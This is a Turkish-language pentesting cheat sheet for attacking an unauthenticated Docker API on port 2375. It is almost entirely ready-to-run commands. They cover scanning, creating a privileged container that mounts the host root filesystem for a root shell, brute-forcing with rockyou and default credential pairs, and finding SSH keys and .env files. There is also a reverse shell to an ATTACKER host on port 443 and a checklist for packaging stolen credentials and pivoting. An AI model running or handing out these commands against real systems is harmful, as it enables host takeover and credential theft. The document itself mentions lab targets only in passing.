2375 - Pentesting Docker

Docker API rce

TCP/2375 korumasız Docker socket demektir. Container oluşturup host filesystem mount = root. Hedef lab IP’si üzerinde komutları 2375 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 2375/2376 doğrula.

2. Unauth /version /containers.

3. Privileged container + host mount.

4. Hostta komut/credential loot.

Keşif

nmap -Pn -sV -p2375,2376 TARGET

nmap -Pn -p2375,2376 --script docker-version TARGET

curl -s http://TARGET:2375/version

curl -s http://TARGET:2375/containers/json

RCE via mount

docker -H tcp://TARGET:2375 run -v /:/mnt --rm -it alpine chroot /mnt sh

curl -s -X POST http://TARGET:2375/containers/create -H 'Content-Type: application/json' -d '{"Image":"alpine","Cmd":["id"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'

curl -s -X POST http://TARGET:2375/containers/ID/start

TLS 2376

curl -vk --cert cert.pem --key key.pem https://TARGET:2376/version

çalıntı client cert = aynı etki

Derin enum

Docker için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p2375 TARGET

nmap -Pn -p2375 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:2375' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',2375));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → Docker

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 2375 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 2375

nmap -p2375 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit Docker API

msfconsole -q -x 'search Docker API; exit'

nuclei -u https://TARGET:2375 -t cves/ -silent -severity || true

nuclei -u http://TARGET:2375 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 2375

printf '
' | timeout 3 nc -nv TARGET 2375

curl -vk --http1.0 http://TARGET:2375/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

unauth 2375 → alpine + / mount → host root shell